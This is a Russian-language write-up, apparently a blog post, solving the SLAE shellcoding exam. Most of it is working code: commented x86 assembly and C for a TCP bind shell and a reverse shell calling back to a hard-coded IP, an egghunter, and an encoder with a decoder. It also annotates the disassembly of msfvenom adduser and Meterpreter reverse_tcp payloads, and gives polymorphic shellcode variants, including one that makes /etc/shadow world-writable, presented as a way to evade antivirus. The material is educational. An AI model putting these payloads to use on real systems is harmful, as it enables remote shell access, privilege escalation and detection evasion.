SLAE — Security Linux Assembly Expert Exam

    image

    Security Linux Assembly Expert — онлайн-курс и экзамен по основам 32-битного языка ассемблера процессоров семейства Intel в Linux-системах в контексте информационной безопасности. Курс будет полезен пентестерам, инженерам по информационной безопасности и всем, кто желает разобраться в основах ассемблера и научиться писать простые шеллкоды. После прохождения курса вы научитесь пользоваться основными системными вызовами Linux'a, писать простые шеллкоды, начнете понимать базовые принципы работы операционной системы на уровне ядра. В данной статье будут рассмотрены задания, необходимые для прохождения экзамена по этому курсу.

    По условиям экзамена необходимо выполнить 7 заданий:

    1. Написать TCP Bind Shell
    2. Написать Reverse TCP Shell
    3. Разобраться с техникой egghunter и предоставить пример этой техники
    4. Написать кодировщик кода
    5. Проанализировать 3 шеллкода, сгенерированных msfvenom'ом при помощи GDB/ndisasm/libemu
    6. Выполнить полиморфное преобразование 3 любых шеллкодов и shellstorm'а.
    7. Написать шифровальщик кода

    Каждое из заданий необходимо прокомментировать, также желательно предоставить скриншоты процесса работы над ними. Начнем с подготовки.

    Подготовка


    Автоматизация — наше всё, поэтому прежде чем перейти к заданиям, необходимо описать скрипты, используемые при освоении курса и сдаче экзамена. Они помогут сэкономить время и силы.

    nasm32.sh

    #!/bin/bash
    
    if [ -z $1 ]; then
      echo "Usage ./nasm32 <nasmMainFile> (no extension)"
      exit
    fi
    
    if [ ! -e "$1.asm" ]; then
      echo "Error, $1.asm not found."
      echo "Note, do not enter file extensions"
      exit
    fi
    
    nasm -f elf $1.asm -o $1.o
    ld -m elf_i386 -o $1 $1.o

    Этот скрипт используется для быстрой компиляции и линковки .asm файлов.

    popcode.sh

    #!/bin/bash
    
    target=$1
    
    objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s

    Этот скрипт будем использовать для вывода на печать кода в hex-формате, причём перед каждым символом будет выведен на печать "\x". Это необходимо для вставки нашего шеллкода в C-файл.

    hexopcode.sh

    #!/bin/bash
    
    target=$1
    
    objdump -D -M intel "$target" | grep '[0-9a-f]:' | grep -v 'file' | cut -f2 -d: | cut -f1-7 -d' ' | tr -s ' ' | tr '\t' ' ' | sed 's/ $//g' | sed 's/ /\\x/g' | paste -d '' -s | sed -e 's!\\x!!g'

    Здесь всё то же самое, что и в скрипте выше, только на печать код выводится без "\x". Необходимо для передачи hex-кода следующему скрипту.

    hex2stack.py

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    
    import sys
    
    if __name__ == '__main__':
    	if len(sys.argv) != 2:
    		print("Enter opcode in hex")
    		sys.exit(0)
    
    	string = sys.argv[1]
    
    	reversed = [string[i:i+2] for i in range(0,len(string),2)][::-1]
    
    	l = len(reversed) % 4
    	if l:
    		print("\tpush 0x" + "90"*(4-l) + "".join(reversed[0:l]))
    
    	for p in range(l, len(reversed[l:]), 4):
    		print("\tpush 0x" + "".join(reversed[p:p+4]))

    Чтобы было легко работать с кодом, его можно поместить в стек. В стек данные помещаются в обратном порядке при помощи команды push. Скрипт выше преобразует hex-строку для помещения её в стек.

    Пример:

    $./stack_shell.py 31c0506a68682f626173682f62696e89e35089c25389e1b00bcd80
    	push 0x9080cd0b
    	push 0xb0e18953
    	push 0xc28950e3
    	push 0x896e6962
    	push 0x2f687361
    	push 0x622f6868
    	push 0x6a50c031

    uscompile.sh

    #!/bin/bash
    
    if [ -z $1 ]; then
      echo "Usage ./compile <cFile> (no extension)"
      exit
    fi
    
    if [ ! -e "$1.c" ]; then
      echo "Error, $1.c not found."
      echo "Note, do not enter file extensions"
      exit
    fi
    
    gcc -masm=intel -m32 -ggdb -fno-stack-protector -z execstack -mpreferred-stack-boundary=2 -o $1 $1.c

    Данный скрипт компилирует C-файл с отключенной защитой стека. Защиту отключаем в учебных целях.

    shellcode.c

    #include<stdio.h>
    #include<string.h>
    
    unsigned char code[] =
    "";
    
    int main()
    {
            printf("Shellcode Length:  %d\n", strlen(code));
            int (*ret)() = (int(*)())code;
            ret();
    }

    Сам C-файл, в который мы помещаем наш шеллкод.

    Задания


    1. Написать TCP bind shell


    Мы будем писать самый простой TCP-bind шелл, поэтому в нашем случае порядок следующий:

    1. Создаём сокет при помощи системного вызова socket(), при создании нам будет отдан дескриптор сокета, который представляет из себя число;
    2. Для созданного сокета настраиваем параметры — протокол, адрес, где он будет «слушать», порт — и выполняем системный вызов bind(), который закрепит наш сокет к указанным параметрам;
    3. Затем выполним вызов listen() — сокет «слушает» входящие соединения;
    4. Просто слушать соединения мало, их необходимо принять, поэтому — accept();
    5. После того, как клиент к нам подсоединился, необходимо перенаправить стандартные дескрипторы ввода, вывода и ошибок клиенту: продублируем их при помощи dup2();
    6. И последнее: вызовем командную оболочку, в которой клиент сможет выполнять команды.

    Прежде чем перейти к написанию кода на ассемблере, будет полезно реализовать вышеприведенный пример на С.

    #include <sys/socket.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <unistd.h>
    #include <netinet/in.h>
    #include <stdio.h>
    
    int main(void)
    {
        int clientfd, sockfd;
        int port = 1234;
        struct sockaddr_in mysockaddr;
    
        // AF_INET - IPv4, SOCK_STREAM - TCP, 0 - most suitable protocol
        // AF_INET = 2, SOCK_STREAM = 1
        // create socket, save socket file descriptor in sockfd variable
        sockfd = socket(AF_INET, SOCK_STREAM, 0);
    
        // fill structure
        mysockaddr.sin_family = AF_INET; // can be represented in numeric as 2
        mysockaddr.sin_port = htons(port);
        //mysockaddr.sin_addr.s_addr = INADDR_ANY;// can be represented in numeric as 0 which means to bind to all interfaces
        mysockaddr.sin_addr.s_addr = inet_addr("192.168.0.106");
        // size of this array is 16 bytes
        //printf("size of mysockaddr: %lu\n", sizeof(mysockaddr));
        // executing bind() call
        bind(sockfd, (struct sockaddr *) &mysockaddr;, sizeof(mysockaddr));
        // listen()
        listen(sockfd, 1);
        // accept()
        clientfd = accept(sockfd, NULL, NULL);
        // duplicate standard file descriptors in client file descriptor
        dup2(clientfd, 0);
        dup2(clientfd, 1);
        dup2(clientfd, 2);
        // and last: execute /bin/sh. All input and ouput of /bin/sh will translated via TCP connection
        char * const argv[] = {"sh",NULL, NULL};
        execve("/bin/sh", argv, NULL);
        return 0;
    }

    Время перенести наш код на ассемблер. Чтобы понимать, какие аргументы принимает каждый вызов и не только, можно посмотреть руководство по ним: man <вызов>. Иногда у одного имени может быть несколько справочных руководств. Вывести список всех доступных: apropos <вызов>.

    После чего: man <номер интересующего нас руководства> <вызов>.

    0. Подготавливаем регистры
    Нам неизвестны значения, которые находятся в регистрах в начале нашей работы с ними, поэтому обнулим их:

    	section .text
    global _start
    
    _start:
    	xor eax, eax
    	xor ebx, ebx
    	xor esi, esi

    1. Создаём сокет

    В x86 системных вызовах нет прямого вызова socket(). Все вызовы выполняются косвенно через метод socketcall(). Данный вызов принимает 2 аргумента: номер вызова сокета и указатель на его аргументы. Список возможных вызовов сокета можно посмотреть в файле: /usr/include/linux/net.h

    	; creating socket. 3 args
    	push esi	; 3rd arg, choose default proto
    	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
    	push 0x2	; 1st arg, 2 means Internet family proto
    	; calling socket call for socket creating
    	mov al, 102	; socketcall
    	mov bl, 1	; 1 = socket()
    	mov ecx, esp	; pointer to args of socket()
    	int 0x80
    	; in eax socket file descriptor. Save it
    	mov edx, eax

    2. Указываем параметры созданного сокета и выполняем bind().

    На картинке ниже показано, как нужно помещать параметры сокета в стек.

    Пришлось потратить некоторое время, чтобы разобраться, в каком виде помещаются в стек параметры сокета:

    image

    	; creating sockaddr_in addr struct for bind
    	push esi		; address, 0 - all interfaces
    	push WORD 0xd204	; port 1234.
    	push WORD 2		; AF_INET
    	mov ecx, esp		; pointer to sockaddr_in struct
    	push 0x16		; size of struct
    	push ecx		; pushing pointer to struct
    	push edx		; pushing socket descriptor
    	; socketcall
    	mov al, 102
    	mov bl, 2		; bind()
    	mov ecx, esp
    	int 0x80

    Чтобы поменять порт, можно выполнить команду:

    $python3 -c "import socket; print(hex(socket.htons(<int:port>)))"
    

    И если вы хотите указать конкретный адрес, на котором будет слушать наш сокет:

    $python3 -c 'import ipaddress; d = hex(int(ipaddress.IPv4Address("<IPv4 address>"))); print("0x"+"".join([d[i:i+2] for i in range(0,len(d),2)][1:][::-1]))'

    3. Вызов listen()

    	; creating listen
    	push 1
    	push edx
    	; calling socketcall
    	mov al, 102
    	mov bl, 4		; listen()
    	mov ecx, esp
    	int 0x80

    4. Вызов accept()

    	; creating accept()
    	push esi
    	push esi
    	push edx
    	; calling socketcall
    	mov al, 102
    	mov bl, 5		; accept()
    	mov ecx, esp
    	int 0x80
    
    	mov edx, eax		; saving client file descriptor

    5. Дублируем стандартные дескрипторы.

    	; dup2 STDIN, STDOUT, STDERR
    	xor ecx, ecx
    	mov cl, 3
    	mov ebx, edx
    dup:	dec ecx
    	mov al, 63
    	int 0x80
    	jns dup

    6. Вызываем командную оболочку

    	; execve /bin/sh
    	xor eax, eax
    	push eax
    	push 0x68732f2f
    	push 0x6e69622f
            mov ebx, esp
            push eax
            mov edx, esp
            push ebx
            mov ecx, esp
            mov al, 11
            int 0x80

    Теперь сложим всё вместе

    	section .text
    global _start
    
    _start:
    	; clear registers
    	xor eax, eax
    	xor ebx, ebx
    	xor esi, esi
    	; creating socket. 3 args
    	push esi	; 3rd arg, choose default proto
    	push 0x1	; 2nd arg, 1 equal SOCK_STREAM, TCP
    	push 0x2	; 1st arg, 2 means Internet family proto
    	; calling socket call for socket creating
    	mov al, 102	; socketcall
    	mov bl, 1	; 1 = socket()
    	mov ecx, esp	; pointer to args of socket()
    	int 0x80
    	; in eax socket file descriptor. Save it
    	mov edx, eax
    
    	; creating sockaddr_in addr struct for bind
    	push esi		; address, 0 - all interfaces
    	push WORD 0xd204	; port 1234.
    	push WORD 2		; AF_INET
    	mov ecx, esp		; pointer to sockaddr_in struct
    	push 0x16		; size of struct
    	push ecx		; pushing pointer to struct
    	push edx		; pushing socket descriptor
    	; socketcall
    	mov al, 102		; socketcall() number
    	mov bl, 2		; bind()
    	mov ecx, esp		; 2nd argument - pointer to args
    	int 0x80
    
    	; creating listen
    	push 1			; listen for 1 client
    	push edx		; clients queue size
    	; calling socketcall
    	mov al, 102
    	mov bl, 4		; listen()
    	mov ecx, esp
    	int 0x80
    
    	; creating accept()
    	push esi		; use default value
    	push esi		; use default value
    	push edx		; sockfd
    	; calling socketcall
    	mov al, 102
    	mov bl, 5		; accept()
    	mov ecx, esp
    	int 0x80
    
    	mov edx, eax		; saving client file descriptor
    
    	; dup2 STDIN, STDOUT, STDERR
    	xor ecx, ecx		; clear ecx
    	mov cl, 3		; number of loops
    	mov ebx, edx		; socketfd
    dup:	dec ecx
    	mov al, 63		; number of dup2 syscall()
    	int 0x80
    	jns dup			; repeat for 1,0
    
    	; execve /bin/bash
    	xor eax, eax		; clear eax
    	push eax		; string terminator
    	push 0x68732f2f		; //bin/sh
    	push 0x6e69622f
            mov ebx, esp		; 1st arg - address of //bin/sh
            push eax		; 
            mov edx, eax		; last argument is zero
            push ebx		; 2nd arg - pointer to all args of command
            mov ecx, esp		; pointer to args
            mov al, 11		; execve syscall number
            int 0x80

    Теперь берём опкод полученного шеллкода, переносим его в наш шаблон С-файла, компилируем и запускаем:

    image

    2. Reverse TCP Shell


    Это задание в своей реализации очень похоже на предыдущее, за исключением того, что мы будем принимать входящее соединение. Общий алгоритм:

    1. Создаём сокет;
    2. Выставляем параметры подключения: протокол, хост, порт;
    3. Дублируем файловые дескрипторы;
    4. Вызываем командную оболочку.

    #include <stdio.h>
    #include <sys/socket.h>
    #include <netinet/ip.h>
    #include <arpa/inet.h>
    #include <unistd.h>
    
    int main ()
    {
        const char* ip = "192.168.0.106";	// place your address here
        struct sockaddr_in addr;
    
        addr.sin_family = AF_INET;
        addr.sin_port = htons(4444);	// port
        inet_aton(ip, &addr;.sin_addr);
    
        int sockfd = socket(AF_INET, SOCK_STREAM, 0);
        connect(sockfd, (struct sockaddr *)&addr;, sizeof(addr));
    
        /* duplicating standard file descriptors */
        for (int i = 0; i < 3; i++)
        {
            dup2(sockfd, i);
        }
    
        execve("/bin/sh", NULL, NULL);
    
     

    Переведем в ассемблер

    	section .text
    global _start
    
    _start:
    	; creating socket
    	xor eax, eax
    	xor esi, esi
    	xor ebx, ebx
    	push esi
    	push 0x1
    	push 0x2
    	; calling socket call for socket creating
    	mov al, 102
    	mov bl, 1
    	mov ecx, esp
    	int 0x80
    	mov edx, eax
    
    	; creating sockaddr_in and connect()
    	push esi
    	push esi
    	push 0x6a00a8c0		; IPv4 address to connect
    	push WORD 0x5c11	; port
    	push WORD 2
    	mov ecx, esp
    	push 0x16
    	push ecx
    	push edx
    	; socketcall()
    	mov al, 102
    	mov bl, 3		; connect()
    	mov ecx, esp
    	int 0x80
    
    	; dup2 STDIN, STDOUT, STDERR
    	xor ecx, ecx
    	mov cl, 3
    	mov ebx, edx
    dup:	dec ecx
    	mov al, 63
    	int 0x80
    	jns dup
    
    	; execve /bin/sh
    	xor eax, eax
    	push eax
    	push 0x68732f2f
    	push 0x6e69622f
            mov ebx, esp
            push eax
            mov edx, esp
            push ebx
            mov ecx, esp
            mov al, 11
            int 0x80

    Затем:

    $nasm32 reverse_tcp_shell

    Поменять адрес или порт подключения можно при помощи аналогичных команд (задание 1)
    Результат

    image

    3. Техника egghunter


    Техника egghunter заключается в том, чтобы найти в памяти участок, обозначенный «пасхальным яйцом», значение которого нам заранее известно, и передать управление коду, следующему за «яйцом». Эта техника бывает полезна, когда мы не знаем точного адреса расположения нашего шеллкода.

    Для демонстрации этого примера:

    1. Положим в стек «мусор»;
    2. Положим в стек наш шеллкод;
    3. Положим в стек «пасхальное яйцо»;
    4. Добавим еще «мусор».

    Для генерации «мусора» воспользуемся следующим скриптом:

    #!/usr/bin/python3
    
    import random
    
    rdm = bytearray(random.getrandbits(8) for _ in range(96))
    for i in range(0,len(rdm),4):
    	bts = rdm[i:i+4]
    	print("\tpush 0x" + ''.join('{:02x}'.format(x) for x in bts))

    Искать мы будем шеллкод:

    	; execve_sh
    global _start
    
    section .text
    _start:
    
            ; PUSH 0
            xor eax, eax
            push eax
    
            ; PUSH //bin/sh (8 bytes)
    	push 0x68732f2f
    	push 0x6e69622f
    
            mov ebx, esp
    
            push eax
            mov edx, eax
    
            push ebx
            mov ecx, esp
    
            mov al, 11
            int 0x80

    Этот шеллкод необходимо скомпилировать, взять его опкод и поместить в стек.

    В итоге у нас получится:

    section .text
    global _start
    
    _start:
    	; trash
    	push 0x94047484
    	push 0x8c35f24a
    	push 0x5a449067
    	push 0xf5a651ed
    	push 0x7161d058
    	push 0x3b7b4e10
    	push 0x9f93c06e
    	; shellcode execve() /bin/sh
    	push 0x9080cd0b
    	push 0xb0e18953
    	push 0xe28950e3
    	push 0x896e6962
    	push 0x2f687361
    	push 0x622f6868
    	push 0x6a50c031
    	; egg
    	push 0xdeadbeef
    	; trash
            push 0xd213a92d
            push 0x9e3a066b
            push 0xeb8cb927
            push 0xddbaec55
            push 0x43a73283
            push 0x89f447de
            push 0xacfb220f
    
    
    	mov ebx, 0xefbeadde	; egg in reverse order
            mov esi, esp
            mov cl, 200		; change this value for deeper or less searching
    
    find:   lodsb			; read byte from source - esi
            cmp eax, ebx		; is it egg?
            jz equal		; if so, give control to shellcode
    	shl eax, 8		; if not, shift one byte left
            loop find		; repeat
    
    	xor eax, eax		; if there is no egg - exit
            mov al, 1
    	xor ebx, ebx
            mov bl, 10
            int 0x80
    
    equal: jmp esi			; jmp to shellcode

    image

    Можно loop find заменить инструкцией jmp find, но это может привести к ошибке программы. Также можно сделать обработчик этого исключения, в общем случае нашего кода достаточно. Иногда может потребоваться найти «пасхальное яйцо», лежащее в другом направлении памяти, тогда нужно поменять значение direction flag'а, а для передачи управления шеллкоду можно использовать jmp esi+offset.

    4. Написать свой кодировщик


    В нашем случае кодирование заключается в видоизменении исходного кода шеллкода без применения информации, необходимой для обратной раскодировки, что отличает этот процесс от процесса шифрования. Я решил выполнить это задание, как в курсе, но с небольшим усложнением: между нужными байтами шеллкода находится случайное (от 1 до 5) количество байт мусора. Для генерации закодированного шеллкода я написал следующий скрипт:

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    
    import sys
    import random
    
    if len(sys.argv) != 2:
            print("Enter opcode in hex")
            sys.exit(0)
    
    opcode = sys.argv[1]
    encoded = ""
    
    b1 = bytearray.fromhex(opcode)
    
    # Generates random value from 1 to 5 of 'aa' string
    for x in b1:
            t = 'aa' * random.randint(1,5)
            encoded += '%02x' % x + t
    
    print(encoded)

    Результат поместим в стек:

    $./hex2stack.py $(./encoder.py $(hexopcode execve_sh))

    Вывод:

    	push 0x909090aa
    	push 0xaaaaaaaa
    	push 0x80aaaaaa
    	push 0xaacdaaaa
    	push 0xaaaa0baa
    	push 0xaaaaaaaa
    	push 0xb0aaaaaa
    	push 0xaae1aaaa
    	push 0xaaaaaa89
    	push 0xaaaaaa53
    	push 0xaaaaaac2
    	push 0xaa89aaaa
    	push 0xaaaa50aa
    	push 0xaaaaaaaa
    	push 0xe3aaaa89
    	push 0xaaaa6eaa
    	push 0xaa69aaaa
    	push 0xaaaa62aa
    	push 0xaaaaaa2f
    	push 0xaa68aaaa
    	push 0x68aaaaaa
    	push 0xaaaa73aa
    	push 0xaaaa2faa
    	push 0xaa2faaaa
    	push 0xaa68aaaa
    	push 0x50aaaaaa
    	push 0xaaaac0aa
    	push 0xaaaaaa31

    Обратите внимание на первую часть 0x909090aa. Первый байт 90 справа — это конец нашего закодированного шеллкода. Конечно, можно выбрать любое другое валидное значение для обозначения окончания шеллкода.

    Код декодера:

    	section .text
    	global _start
    _start:
    	; encoded shellcode
    	push 0x909090aa
    	push 0xaaaaaaaa
    	push 0x80aaaaaa
    	push 0xaacdaaaa
    	push 0xaaaa0baa
    	push 0xaaaaaaaa
    	push 0xb0aaaaaa
    	push 0xaae1aaaa
    	push 0xaaaaaa89
    	push 0xaaaaaa53
    	push 0xaaaaaac2
    	push 0xaa89aaaa
    	push 0xaaaa50aa
    	push 0xaaaaaaaa
    	push 0xe3aaaa89
    	push 0xaaaa6eaa
    	push 0xaa69aaaa
    	push 0xaaaa62aa
    	push 0xaaaaaa2f
    	push 0xaa68aaaa
    	push 0x68aaaaaa
    	push 0xaaaa73aa
    	push 0xaaaa2faa
    	push 0xaa2faaaa
    	push 0xaa68aaaa
    	push 0x50aaaaaa
    	push 0xaaaac0aa
    	push 0xaaaaaa31
    
    	; prepare registers for decoding
    	mov esi, esp
    	mov edi, esp
    	mov bl, 0xaa
    
    decoder:
    	lodsb		; read byte from stack
    	cmp al, bl	; check: is it trash byte?
    	jz loopy	; if so, repeat
    	cmp al, 0x90	; is it end of shellcode?
    	jz exec		; if so, go to start of shellcode
    	stosb		; if not, place byte of shellcode into stack
    loopy:	jmp decoder	; repeat
    
    exec:	jmp esp		; give flow control to shellcode

    Если шеллкод не имеет nop-инструкций (0x90), такой байт можно выбрать в качестве маркера окончания шеллкода. В других случаях необходимо использовать другое значение.
    Результат:

    image

    5. Анализ шеллкодов, сгенерированных msfvenom'ом при помощи GDB/libemu/ndisasm


    В данном разделе будет произведен анализ шеллкодов, полученных известным инструментом — msfvenom.

    1. add user
    Команда для генерации шеллкода:

    msfvenom -a x86 --platform linux -p linux/x86/adduser -f c > adduser.c
    

    Существует несколько вариантов анализа полученного шеллкода GDB, я решил использовать удобный для меня способ — поместить код в стек и проанализировать.

    $ cat adduser.c | grep -Po "\\\x.." | tr -d '\n' | sed -e 's!\\x!!g' ; echo
    31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80

    $ python3 hex2stack.py 31c989cb6a4658cd806a055831c9516873737764682f2f7061682f65746389e341b504cd8093e8280000006d65746173706c6f69743a417a2f6449736a3470344952633a303a303a3a2f3a2f62696e2f73680a598b51fc6a0458cd806a0158cd80
    out:
    	push 0x90909080
    	push 0xcd58016a
    	push 0x80cd5804
    	...

    Анализировать будем такой файл:

    	section .text
    	global _start
    _start:
    	push 0x90909080
    	push 0xcd58016a
    	push 0x80cd5804
    	push 0x6afc518b
    	push 0x590a6873
    	push 0x2f6e6962
    	push 0x2f3a2f3a
    	push 0x3a303a30
    	push 0x3a635249
    	push 0x3470346a
    	push 0x7349642f
    	push 0x7a413a74
    	push 0x696f6c70
    	push 0x73617465
    	push 0x6d000000
    	push 0x28e89380
    	push 0xcd04b541
    	push 0xe3896374
    	push 0x652f6861
    	push 0x702f2f68
    	push 0x64777373
    	push 0x6851c931
    	push 0x58056a80
    	push 0xcd58466a
    	push 0xcb89c931
    	jmp esp

    image

    Первое, что выполняет шеллкод — производит вызов setreuid() с параметрами (0,0): у шеллкода должны быть root-права. После открывается файл /etc/passwd. В коде после открытия файла используется инструкция call. Выполняя данную инструкцию, процессор положит следующую за ней команду в стек. В нашем случае за такой командой идёт строка с нашими параметрами пользователя — впоследствии эта строка будет записана в файл. Такой способ позволяет использовать любые данные для записи в файл.

    2. exec whoami
    С записью в файл разобрались, теперь посмотрим, как реализовано выполнение команд
    Генерируем шеллкод:

    msfvenom -a x86 --platform linux -p linux/x86/exec CMD="whoami" -f raw> exec_whoami.bin

    Для анализа кода выполним:

    $sctest -vv -S -s 10000 -G shell.dot < exec_whoami.bin

    [emu 0x0x16c8100 debug ] 6A0B                            push byte 0xb
    ; execve()		
    [emu 0x0x16c8100 debug ] 58                              pop eax		
    [emu 0x0x16c8100 debug ] 99                              cwd
    ; in this case - set to 0 due to cwd and small eax
    [emu 0x0x16c8100 debug ] 52                              push edx		
    ; "-c"
    [emu 0x0x16c8100 debug ] 66682D63                        push word 0x632d	
    ; address of "-c"
    [emu 0x0x16c8100 debug ] 89E7                            mov edi,esp		
    ; /bin/sh
    [emu 0x0x16c8100 debug ] 682F736800                      push dword 0x68732f	
    [emu 0x0x16c8100 debug ] 682F62696E                      push dword 0x6e69622f
    ; 1st arg of execve()
    [emu 0x0x16c8100 debug ] 89E3                            mov ebx,esp		
    ; null
    [emu 0x0x16c8100 debug ] 52                              push edx		
    ; place "whoami" in stack
    [emu 0x0x16c8100 debug ] E8                              call 0x1		
    ; push "-c"
    [emu 0x0x16c8100 debug ] 57                              push edi		
    ; push "/bin/sh"
    [emu 0x0x16c8100 debug ] 53                              push ebx		
    ; 2nd argument of execve() 
    ; pointer to args
    [emu 0x0x16c8100 debug ] 89E1                            mov ecx,esp		
    ; execute execve()
    [emu 0x0x16c8100 debug ] CD80                            int 0x80		

    image

    Для выполнения команды также используется инструкция call, что позволяет легко менять исполняемую команду.

    3. Reverse Meterpreter TCP

    command to generate payload

    msfvenom -a x86 --platform linux -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=4444 -f raw > meter_revtcp.bin

    Then

    ndisasm -u meter_revtcp.bin

    Code with comments
    00000000  6A0A              push byte +0xa
    00000002  5E                pop esi			; place 10 in esi
    00000003  31DB              xor ebx,ebx			; nullify ebx
    00000005  F7E3              mul ebx
    00000007  53                push ebx			; push 0
    00000008  43                inc ebx			; 1 in ebx
    00000009  53                push ebx			; push 1
    0000000A  6A02              push byte +0x2		; push 2
    0000000C  B066              mov al,0x66			; mov socketcall
    0000000E  89E1              mov ecx,esp			; address of argument
    00000010  CD80              int 0x80			; calling socketcall() with socket()
    00000012  97                xchg eax,edi		; place sockfd in edi
    00000013  5B                pop ebx			; in ebx 1
    00000014  68C0A80066        push dword 0x6600a8c0	; place IPv4 address connect to
    00000019  680200115C        push dword 0x5c110002	; place port and proto family
    0000001E  89E1              mov ecx,esp
    00000020  6A66              push byte +0x66
    00000022  58                pop eax			; socketcall()
    00000023  50                push eax
    00000024  51                push ecx			; addresss of sockaddr_in structure
    00000025  57                push edi			; sockfd
    00000026  89E1              mov ecx,esp			; address of arguments
    00000028  43                inc ebx
    00000029  CD80              int 0x80			; call connect()
    0000002B  85C0              test eax,eax		; 
    0000002D  7919              jns 0x48			; if connect successful - jmp
    0000002F  4E                dec esi			; in esi 10 - number of attempts to connect
    00000030  743D              jz 0x6f			; if zero attempts left - exit
    00000032  68A2000000        push dword 0xa2
    00000037  58                pop eax
    00000038  6A00              push byte +0x0
    0000003A  6A05              push byte +0x5
    0000003C  89E3              mov ebx,esp
    0000003E  31C9              xor ecx,ecx
    00000040  CD80              int 0x80			; wait 5 seconds
    00000042  85C0              test eax,eax
    00000044  79BD              jns 0x3
    00000046  EB27              jmp short 0x6f
    00000048  B207              mov dl,0x7			; mov dl 7 - read, write, execute for mprotect() memory area
    0000004A  B900100000        mov ecx,0x1000		; 4096 bytes
    0000004F  89E3              mov ebx,esp
    00000051  C1EB0C            shr ebx,byte 0xc
    00000054  C1E30C            shl ebx,byte 0xc		; nullify 12 lowest bits
    00000057  B07D              mov al,0x7d			; mprotect syscall
    00000059  CD80              int 0x80
    0000005B  85C0              test eax,eax
    0000005D  7810              js 0x6f			; if no success with mprotect -> exit
    0000005F  5B                pop ebx			; if success put sockfd in ebx
    00000060  89E1              mov ecx,esp
    00000062  99                cdq
    00000063  B60C              mov dh,0xc
    00000065  B003              mov al,0x3			; read data from socket
    00000067  CD80              int 0x80
    00000069  85C0              test eax,eax
    0000006B  7802              js 0x6f
    0000006D  FFE1              jmp ecx			; jmp to 2nd part of shell
    0000006F  B801000000        mov eax,0x1
    00000074  BB01000000        mov ebx,0x1
    00000079  CD80              int 0x80
    

    Этот код создаёт сокет, пытается соединиться с указанным IP-адресом по заданному порту, создаёт область памяти и пытается произвести чтение второй части шеллкода из сокета и записать в выделенную область памяти. Если установить соединение не удаётся, программа ждёт 5 секунд и повторяет попытку. После нескольких неудачных попыток или в случае других возникших исключений она прекращает свою работу.

    6. Выполнить полиморфное преобразование 3 шеллкодов с shell-storm'а.


    Полиморфное преобразование — это такое преобразование, при котором меняется код шеллкода, а логика сохраняется. Пример:

    xor eax, eax обнулит регистры,
    sub eax, eax также обнулит регистры.

    Разница между этими двумя вариантами будет в производительности: первый выполнится немного быстрее. Полиморфное преобразование меняет сигнатуру шеллкода, что может помочь в сокрытии шеллкода от антивируса.

    1. chmod /etc/shadow

    	; http://shell-storm.org/shellcode/files/shellcode-608.php
    	; Title: linux/x86 setuid(0) + chmod("/etc/shadow", 0666) Shellcode 37 Bytes
    	; length - 40 bytes
    	section .text
    
    global _start
    
    _start:
    	sub ebx, ebx	; replaced
    	push 0x17	; replaced
    	pop eax		; replaced
    	int 0x80
    	sub eax, eax	; replaced
    	push eax	; on success zero
    	push 0x776f6461
            push 0x68732f63
            push 0x74652f2f
    	mov ebx, esp
    	mov cl, 0xb6	; replaced
    	mov ch, 0x1	; replaced
            add al, 15	; replaced
            int 0x80
            add eax, 1	; replaced
            int 0x80

    Данный шеллкод вызывает setuid() с параметрами 0,0 (пытается получить root-права) и затем выполняет chmod() для файла /etc/shadow.

    image

    В некоторых случаях этот шеллкод можно выполнить без обнуления регистров.

    
    	section .text
    global _start
    
    _start:
    	push 0x17	; replaced
    	pop eax		; replaced
    	int 0x80
    	push eax	; on success zero
    	push 0x776f6461
            push 0x68732f63
            push 0x74652f2f
    	mov ebx, esp
    	mov cl, 0xb6	; replaced
    	mov ch, 0x1	; replaced
            add al, 15	; replaced
            int 0x80
            add eax, 1	; replaced
            int 0x80

    «Собрав» этот код через asm, а не через С-файл, его можно успешно выполнять.

    2. Execve /bin/sh

    	; http://shell-storm.org/shellcode/files/shellcode-251.php
    	; (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL]) 37 bytes
    	; length - 45 byte
    	section .text
    global _start
    _start:
    	push 0x17
    	mov eax, [esp]	; replaced
    	sub ebx, ebx	; replaced
    	imul edi, ebx	; replaced
    	int 0x80
    
    	push 0x2e
    	mov eax, [esp]	; replaced
    	push edi 	; replaced
    	int 0x80
    
    	sub edx, edx	; replaced
    	push 0xb
    	pop eax
    	push edi	; replaced
    	push 0x68732f2f
    	push 0x6e69622f
    	lea ebx, [esp]	; replaced
    	push edi	; replaced
    	push edi	; replaced
    	lea esp, [ecx]	; replaced
    	int 0x80

    image

    Данный шеллкод уже рассматривался неоднократно в примерах выше. Особых пояснений он не требует.

    3. TCP bind shellcode with second stage

    	; original: http://shell-storm.org/shellcode/files/shellcode-501.php
    	; linux/x86 listens for shellcode on tcp/5555 and jumps to it 83 bytes
    	; length 94
    	section .text
    global _start
    
    _start:
    	sub eax, eax	; replaced
    	imul ebx, eax	; replaced
    	imul edx, eax	; replaced
    
    _socket:
    	push 0x6
    	push 0x1
    	push 0x2
    	add al, 0x66	; replaced
    	add bl, 1	; replaced
    	lea ecx, [esp] ; replaced
    	int 0x80
    
    _bind:
    	mov edi, eax	; placing descriptor
    	push edx
    	push WORD 0xb315	;/* 5555 */
    	push WORD 2
    	lea ecx, [esp]	; replaced
    	push 16
    	push ecx
    	push edi
    	xor eax, eax	; replaced
    	add al, 0x66	; replaced
    	add bl, 1	; replaced
    	lea ecx, [esp]	; replaced
    	int 0x80
    
    _listen:
    	mov bl, 4	; replaced
    	push 0x1
    	push edi
    	add al, 0x66	; replaced
    	lea ecx, [esp]	; replaced
    	int 0x80
    
    _accept:
    	push edx
    	push edx
    	push edi
    	add al, 0x66	; replaced
    	mov bl, 5	; replaced
    	lea ecx, [esp]	; replaced
    	int 0x80
    	mov ebx, eax
    
    _read:
    	mov al, 0x3
    	lea ecx, [esp]	; replaced
    	mov dx, 0x7ff
    	mov dl, 1	; replaced
    	int 0x80
    	jmp esp

